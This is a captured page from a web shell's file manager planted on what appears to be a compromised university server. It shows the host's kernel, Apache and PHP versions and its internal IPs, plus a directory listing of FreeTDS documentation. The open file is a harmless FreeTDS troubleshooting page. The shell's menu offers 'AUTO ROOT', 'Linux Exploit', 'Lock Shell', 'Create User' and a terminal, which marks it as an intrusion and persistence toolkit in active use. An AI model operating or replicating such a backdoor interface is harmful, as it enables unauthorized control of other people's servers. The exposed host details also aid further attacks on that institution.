Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
share /
doc /
freetds-0.91 /
userguide /
[ HOME SHELL ]
Name
Size
Permission
Action
about.htm
5.13
KB
-rw-r--r--
aboutunicode.htm
6.69
KB
-rw-r--r--
acknowledgments.htm
4.39
KB
-rw-r--r--
advocacy.htm
3.67
KB
-rw-r--r--
ambition.htm
3.52
KB
-rw-r--r--
apireference.htm
4.71
KB
-rw-r--r--
appendmode.htm
4.1
KB
-rw-r--r--
askingforhelp.htm
5.36
KB
-rw-r--r--
build.htm
4.73
KB
-rw-r--r--
choosingtdsprotocol.htm
6.62
KB
-rw-r--r--
config.htm
17.16
KB
-rw-r--r--
configs.htm
4.9
KB
-rw-r--r--
confirminstall.htm
16.33
KB
-rw-r--r--
contrib.htm
5.98
KB
-rw-r--r--
contributors.htm
2.47
KB
-rw-r--r--
ctlib.api.summary.htm
14.88
KB
-rw-r--r--
dblib.api.summary.htm
28.32
KB
-rw-r--r--
domains.htm
6.22
KB
-rw-r--r--
dsnless.htm
5.96
KB
-rw-r--r--
envvar.htm
6.93
KB
-rw-r--r--
freetdsconf.htm
18.39
KB
-rw-r--r--
freetdshistory.htm
4.45
KB
-rw-r--r--
gfdl-10.htm
3.11
KB
-rw-r--r--
gfdl-11.htm
3.32
KB
-rw-r--r--
gfdl-1.htm
5.42
KB
-rw-r--r--
gfdl-2.htm
2.9
KB
-rw-r--r--
gfdl-3.htm
4.18
KB
-rw-r--r--
gfdl-4.htm
7.25
KB
-rw-r--r--
gfdl-5.htm
3.37
KB
-rw-r--r--
gfdl-6.htm
2.83
KB
-rw-r--r--
gfdl-7.htm
3.07
KB
-rw-r--r--
gfdl-8.htm
2.8
KB
-rw-r--r--
gfdl-9.htm
2.6
KB
-rw-r--r--
gfdl.htm
4.46
KB
-rw-r--r--
help.htm
5.31
KB
-rw-r--r--
index.htm
23.65
KB
-rw-r--r--
index.html
23.65
KB
-rw-r--r--
install.htm
5.59
KB
-rw-r--r--
interfacesfile.htm
3.64
KB
-rw-r--r--
interfacesformat.htm
4.71
KB
-rw-r--r--
interfaceslocation.htm
2.45
KB
-rw-r--r--
interfacespurpose.htm
4.83
KB
-rw-r--r--
iso8859.htm
5.31
KB
-rw-r--r--
isolatecause.htm
4.39
KB
-rw-r--r--
kerberos.htm
3.92
KB
-rw-r--r--
light.taper.htm
3.03
KB
-rw-r--r--
linker.conclusion.htm
2.75
KB
-rw-r--r--
linker.how.htm
13.61
KB
-rw-r--r--
linker.library.check.htm
5.31
KB
-rw-r--r--
locales.htm
6.89
KB
-rw-r--r--
localization.htm
11.32
KB
-rw-r--r--
logging.htm
7.35
KB
-rw-r--r--
mailinglist.htm
4.1
KB
-rw-r--r--
name.lookup.htm
4.14
KB
-rw-r--r--
odbc.api.summary.htm
16.65
KB
-rw-r--r--
odbcconnattr.htm
7.31
KB
-rw-r--r--
odbcdiagnose.htm
8.88
KB
-rw-r--r--
odbcinionly.htm
3.47
KB
-rw-r--r--
odbcombo.htm
4.44
KB
-rw-r--r--
osissues.htm
10.13
KB
-rw-r--r--
packages.htm
4.43
KB
-rw-r--r--
pagenodata.htm
5.88
KB
-rw-r--r--
perl.htm
7.36
KB
-rw-r--r--
php.htm
7.73
KB
-rw-r--r--
portoverride.htm
3.86
KB
-rw-r--r--
prepodbc.htm
9.89
KB
-rw-r--r--
programming.htm
2.76
KB
-rw-r--r--
projects.htm
11.26
KB
-rw-r--r--
python.htm
4.01
KB
-rw-r--r--
qt.htm
2.69
KB
-rw-r--r--
rtl.define.library.htm
8.43
KB
-rw-r--r--
rtl.htm
7.22
KB
-rw-r--r--
samplecode.htm
48.19
KB
-rw-r--r--
seemtooslow.htm
4.72
KB
-rw-r--r--
serverthere.htm
6.59
KB
-rw-r--r--
software.htm
5.79
KB
-rw-r--r--
stunnel.htm
4.11
KB
-rw-r--r--
sybsql.htm
4.56
KB
-rw-r--r--
tdshistory.htm
5.16
KB
-rw-r--r--
tdspool.htm
7.72
KB
-rw-r--r--
troubleshooting.htm
10.84
KB
-rw-r--r--
unicodefreetds.htm
4.96
KB
-rw-r--r--
unicodegoodbad.htm
4.99
KB
-rw-r--r--
unicode.htm
4.07
KB
-rw-r--r--
unicodeutf.htm
5.32
KB
-rw-r--r--
uodbc.htm
5.7
KB
-rw-r--r--
uothread.htm
3.19
KB
-rw-r--r--
usefreetds.htm
6.26
KB
-rw-r--r--
userguide.css
295
B
-rw-r--r--
what.htm
7.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : serverthere.htm
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <HTML ><HEAD ><TITLE >Is the server there?</TITLE ><META NAME="GENERATOR" CONTENT="Modular DocBook HTML Stylesheet Version 1.79"><LINK REL="HOME" TITLE="FreeTDS User Guide" HREF="index.htm"><LINK REL="UP" TITLE="Troubleshooting" HREF="troubleshooting.htm"><LINK REL="PREVIOUS" TITLE="Troubleshooting" HREF="troubleshooting.htm"><LINK REL="NEXT" TITLE="Logging" HREF="logging.htm"><LINK REL="STYLESHEET" TYPE="text/css" HREF="userguide.css"><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"></HEAD ><BODY CLASS="SECT1" BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#0000FF" VLINK="#840084" ALINK="#0000FF" ><DIV CLASS="NAVHEADER" ><TABLE SUMMARY="Header navigation table" WIDTH="100%" BORDER="0" CELLPADDING="0" CELLSPACING="0" ><TR ><TH COLSPAN="3" ALIGN="center" ><SPAN CLASS="PRODUCTNAME" >FreeTDS</SPAN > User Guide: A Guide to Installing, Configuring, and Running <SPAN CLASS="PRODUCTNAME" >FreeTDS</SPAN ></TH ></TR ><TR ><TD WIDTH="10%" ALIGN="left" VALIGN="bottom" ><A HREF="troubleshooting.htm" ACCESSKEY="P" >Prev</A ></TD ><TD WIDTH="80%" ALIGN="center" VALIGN="bottom" >Chapter 8. Troubleshooting</TD ><TD WIDTH="10%" ALIGN="right" VALIGN="bottom" ><A HREF="logging.htm" ACCESSKEY="N" >Next</A ></TD ></TR ></TABLE ><HR ALIGN="LEFT" WIDTH="100%"></DIV ><DIV CLASS="SECT1" ><H1 CLASS="SECT1" ><A NAME="SERVERTHERE" >Is the server there?</A ></H1 ><DIV CLASS="SECT2" ><H2 CLASS="SECT2" ><A NAME="SERVERTHERE.PING" >Start with <B CLASS="COMMAND" >ping</B ></A ></H2 ><P >First <B CLASS="COMMAND" >ping</B > the host to make sure you can talk to the machine the server resides on. <DIV CLASS="EXAMPLE" ><A NAME="E.G.TROUBLESHOOTING.PING" ></A ><P ><B >Example 8-1. Finding the server's host</B ></P ><PRE CLASS="SCREEN" > <SAMP CLASS="PROMPT" >$ </SAMP ><KBD CLASS="USERINPUT" >ping -c1 <TT CLASS="REPLACEABLE" ><I >myhost</I ></TT ></KBD > <SAMP CLASS="COMPUTEROUTPUT" > PING myhost (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data. 64 bytes from myhost (127.0.0.1): icmp_seq=0 ttl=255 time=250 usec</SAMP ></PRE ></DIV > A successful ping shows that your network isn't preventing you from reaching the machine hosting the server.</P ></DIV ><DIV CLASS="SECT2" ><H2 CLASS="SECT2" ><A NAME="SERVERTHERE.TELNET" >Test with <B CLASS="COMMAND" >telnet</B ></A ></H2 ><P >Attempt to <B CLASS="COMMAND" >telnet</B > to the port, to verify that the servername is listening. <DIV CLASS="EXAMPLE" ><A NAME="E.G.TROUBLESHOOTING.TELNET" ></A ><P ><B >Example 8-2. Finding the server</B ></P ><PRE CLASS="SCREEN" > <SAMP CLASS="PROMPT" >$ </SAMP ><KBD CLASS="USERINPUT" >telnet <TT CLASS="REPLACEABLE" ><I >myhost 1433</I ></TT ></KBD > <SAMP CLASS="COMPUTEROUTPUT" > Trying 127.0.0.1... Connected to myhost. Escape character is '^]'. </SAMP ></PRE ></DIV > If you get output as above, the servername is listening. If you get a 'Connection Refused' message, you're talking to the wrong host, wrong port, or the servername is down. <A NAME="AEN3073" HREF="#FTN.AEN3073" ><SPAN CLASS="footnote" >[1]</SPAN ></A ></P ></DIV ><DIV CLASS="SECT2" ><H2 CLASS="SECT2" ><A NAME="SERVERTHERE.TSQL" >Test with <B CLASS="COMMAND" >tsql</B ></A ></H2 ><P ><B CLASS="COMMAND" >tsql</B > can be run in two ways, one which uses <TT CLASS="FILENAME" >freetds.conf</TT > and one which connects directly using the host and port. First attempt a connection using host and port. <DIV CLASS="EXAMPLE" ><A NAME="E.G.TROUBLESHOOTING.TSQL.NOCONF" ></A ><P ><B >Example 8-3. Connecting to the server, bypassing <TT CLASS="FILENAME" >freetds.conf</TT ></B ></P ><PRE CLASS="SCREEN" > <SAMP CLASS="PROMPT" >$ </SAMP ><KBD CLASS="USERINPUT" >cd src/apps</KBD > <SAMP CLASS="PROMPT" >$ </SAMP ><KBD CLASS="USERINPUT" >TDSVER=7.0 ./tsql -H <TT CLASS="REPLACEABLE" ><I >myhost</I ></TT > -p <TT CLASS="REPLACEABLE" ><I >1433</I ></TT > -U <TT CLASS="REPLACEABLE" ><I >user</I ></TT ></KBD ></PRE ></DIV > If you receive a message of 'Login Failed.' then your connectivity is OK, but you have a authentication issue.</P ><P >If you receive a message like <PRE CLASS="SCREEN" > <SAMP CLASS="COMPUTEROUTPUT" >Msg. No.: 18450 Severity: 14 State: 1 Login failed- User: loginid Reason: Not defined as a valid user of a trusted SQL Server connection </SAMP ></PRE > <SPAN CLASS="PRODUCTNAME" >SQL Server</SPAN > is accepting only <SPAN CLASS="QUOTE" >"domain"</SPAN > logins. This applies only to Microsoft <SPAN CLASS="PRODUCTNAME" >SQL Server</SPAN > and you'll need to have your DBA verify that <SPAN CLASS="QUOTE" >"server logins"</SPAN > are allowed, or use a <A HREF="domains.htm" >domain login</A >. </P ><P >Finally, if you received a prompt, then try <B CLASS="COMMAND" >tsql</B > using the servername. <DIV CLASS="EXAMPLE" ><A NAME="E.G.TROUBLESHOOTING.TSQL" ></A ><P ><B >Example 8-4. Connecting to the server using <TT CLASS="FILENAME" >freetds.conf</TT ></B ></P ><PRE CLASS="SCREEN" > <SAMP CLASS="PROMPT" >$ </SAMP ><KBD CLASS="USERINPUT" >./tsql -S <TT CLASS="REPLACEABLE" ><I >myserver</I ></TT > -U <TT CLASS="REPLACEABLE" ><I >user</I ></TT ></KBD ></PRE ></DIV > If this fails, FreeTDS is either not finding your <TT CLASS="FILENAME" >freetds.conf</TT > file, finding the wrong one, or there is an error in the file.</P ></DIV ></DIV ><H3 CLASS="FOOTNOTES" >Notes</H3 ><TABLE BORDER="0" CLASS="FOOTNOTES" WIDTH="100%" ><TR ><TD ALIGN="LEFT" VALIGN="TOP" WIDTH="5%" ><A NAME="FTN.AEN3073" HREF="serverthere.htm#AEN3073" ><SPAN CLASS="footnote" >[1]</SPAN ></A ></TD ><TD ALIGN="LEFT" VALIGN="TOP" WIDTH="95%" ><P >To exit <B CLASS="COMMAND" >telnet</B >: When connected, telnet's command mode may be entered by typing the telnet <I CLASS="FIRSTTERM" >escape character</I > (initially <SPAN CLASS="KEYSYM" >Ctrl</SPAN >-<SPAN CLASS="KEYSYM" >]</SPAN >, as above). Once in command mode, <B CLASS="COMMAND" >telnet</B > may be exited with the command <B CLASS="COMMAND" >quit</B >.</P ></TD ></TR ></TABLE ><DIV CLASS="NAVFOOTER" ><HR ALIGN="LEFT" WIDTH="100%"><TABLE SUMMARY="Footer navigation table" WIDTH="100%" BORDER="0" CELLPADDING="0" CELLSPACING="0" ><TR ><TD WIDTH="33%" ALIGN="left" VALIGN="top" ><A HREF="troubleshooting.htm" ACCESSKEY="P" >Prev</A ></TD ><TD WIDTH="34%" ALIGN="center" VALIGN="top" ><A HREF="index.htm" ACCESSKEY="H" >Home</A ></TD ><TD WIDTH="33%" ALIGN="right" VALIGN="top" ><A HREF="logging.htm" ACCESSKEY="N" >Next</A ></TD ></TR ><TR ><TD WIDTH="33%" ALIGN="left" VALIGN="top" >Troubleshooting</TD ><TD WIDTH="34%" ALIGN="center" VALIGN="top" ><A HREF="troubleshooting.htm" ACCESSKEY="U" >Up</A ></TD ><TD WIDTH="33%" ALIGN="right" VALIGN="top" >Logging</TD ></TR ></TABLE ></DIV ></BODY ></HTML >
Close